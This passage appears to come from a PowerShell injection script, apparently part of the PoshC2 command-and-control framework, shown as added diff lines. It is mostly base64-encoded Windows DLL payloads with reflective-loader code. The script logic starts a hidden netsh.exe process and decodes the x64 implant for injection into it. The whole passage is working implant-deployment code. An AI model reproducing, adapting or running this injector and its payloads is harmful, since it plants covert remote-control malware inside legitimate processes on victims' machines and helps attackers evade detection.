AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAGAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAgAAADAAAIAAAAAAAAAAAAAAAAAAAAEACQQAAEgAAABggAIAfQEAAAAAAAAAAAAAAAAAAAAAAAA8P3htbCB2ZXJzaW9uPScxLjAnIGVuY29kaW5nPSdVVEYtOCcgc3RhbmRhbG9uZT0neWVzJz8+DQo8YXNzZW1ibHkgeG1sbnM9J3VybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxJyBtYW5pZmVzdFZlcnNpb249JzEuMCc+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSdhc0ludm9rZXInIHVpQWNjZXNzPSdmYWxzZScgLz4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCjwvYXNzZW1ibHk+DQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAQAQAQAAmKKgorCiyKLQotii8KL4ogCjKKMwozijQKNIo2ijcKN4o5CjmKOgo8CjyKPQo7ikwKTIpNCkEKYYpiCmKKYwpjimQKZIplCmWKZgpmimcKZ4poCmiKaQppimoKaoprCmuKbApsim0KbYpuCm6KbwpvimAKcIpxCnGKcgpyinMKc4p0CnSKdQp1inYKdop3CneKeAp4inkKeYp6CnqKewp7inwKfIp9Cn2Kfgp+in8Kf4pwCoCKgQqBioIKgoqDCoOKhAqEioUKhYqGCoaKhwqHiogKiIqJComKigqKiosKi4qMCoyKjQqNio4KjoqPCo+KgAqQipEKkYqSCpKKmIr5CvmK+grwAAAFABABABAABAoVChYKFooXCheKGAoYihkKGYoaihsKG4ocChyKHQodih4KH4oQiiEKIYoiCiKKLwo/ijAKQIpBCkGKQgpCikMKQ4pECkSKRQpFikYKRopHCkeKSApIikkKSYpKCkqKSwpLikwKTIpNCk2KTgpOik8KT4pAClCKUQpRilIKUopTClOKVApVClWKVgpWilcKV4pYCliKWQpZiloKWopbCluKXApcil0KXYpeCl6KXwpfilAKYIphCmGKYgpiimMKY4pkCmSKZQplimYKZopnCmeKaApoimkKaYpqCmqKZwqniqgKqIqpCqmKqgqqiqsKq4qsCqyKrQqtiq4KroqvCq+KoAqwirAAAAYAEAEAAAACCgKKAwoDigAHABALgBAACYoqiiuKLIotii6KL4ogijGKMoozijSKNYo2ijeKOIo5ijqKO4o8ij2KPoo/ijCKQYpCikOKRIpFikaKR4pIikmKSopLikyKTYpOik+KQIpRilKKU4pUilWKVopXiliKWYpailuKXIpdil6KX4pQimGKYopjimSKZYpmimeKaIppimqKa4psim2KbopvimCKcYpyinOKdIp1inaKd4p4inmKeop7inyKfYp+in+KcIqBioKKg4qEioWKhoqHioiKiYqKiouKjIqNio6Kj4qAipGKkoqTipSKlYqWipeKmIqZipqKm4qcip2KnoqfipCKoYqiiqOKpIqliqaKp4qoiqmKqoqriqyKrYquiq+KoIqxirKKs4q0irWKtoq3iriKuYq6iruKvIq9ir6Kv4qwisGKworDisSKxYrGiseKyIrJisqKy4rMis2KzorPisCK0YrSitOK1IrVitaK14rYitmK2orbityK3Yreit+K0IrhiuKK44rkiuWK5orniuiK6YrqiuuK7Irtiu6K74rgivGK8orzivSK9Yr2iveK+Ir5ivqK+4r8iv2K/or/ivAAAAgAEAhAAAAAigGKAooDigSKBYoGigeKCIoJigqKC4oMig8KwArRCtIK0wrUCtUK1grXCtgK2QraCtsK3ArdCt4K3wrQCuEK4grjCuQK5QrmCucK6ArpCuoK6wrsCu0K7grvCuAK8QryCvMK9Ar1CvYK9wr4CvkK+gr7CvwK/Qr+Cv8K8AkAEAcAEAAACgEKAgoDCgQKBQoGCgcKCAoJCgoKCwoMCg0KDgoPCgAKEQoSChMKFAoVChYKFwoYChkKGgobChwKHQoeCh8KEAohCiIKIwokCiUKJgonCigKKQoqCisKLAotCi4KLwogCjEKMgozCjQKNQo2CjcKOAo5CjoKOwo8Cj0KPgo/CjAKQQpCCkMKRApFCkYKRwpICkkKSgpLCkwKTQpOCk8KQApRClIKUwpUClUKVgpXClgKWQpaClsKXApdCl4KXwpQCmEKYgpjCmQKZQpmCmcKaAppCmoKawpsCm0KbgpvCmAKcQpyCnMKdAp1CnYKdwp4CnkKegp7CnwKfQp+Cn8KcAqBCoIKgwqECoUKhgqHCogKiQqKCosKjAqNCo4KjwqACpEKkgqTCpQKlQqWCpcKmAqZCpoKmwqcCp0KngqfCpAKoQqiCqMKpAqlCqYKpwqoCqkKqgqrCqwKrQquCq8KoAqxCrIKsAAADAAQAQAAAAWKZwpnimAAAA8AEATAAAADCggKHIoeihCKIookiieKKQopiioKLYouCiWKVwqICoiKiQqJiooKioqLCouKjAqMio2KjgqOio8Kj4qACpCKkQqQAAADACABQAAABgqYipsKngqQCqKKoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + [Byte[]] $PEBytes = [System.Convert]::FromBase64String($poshmsproxy_64) +} +if ($Payload -eq 'x64') +{ + if ((!$procid) -and (!$procname) -and (!$NewProcess)) { + $pst = New-Object System.Diagnostics.ProcessStartInfo + $pst.WindowStyle = 'Hidden' + $pst.UseShellExecute = $False + $pst.CreateNoWindow = $True + $pst.FileName = "C:\Windows\System32\netsh.exe" + $Process = [System.Diagnostics.Process]::Start($pst) + [Int32]$ProcId = ($Process.Id).tostring() + } + echo "Using x64 payload" + $poshms_64 = "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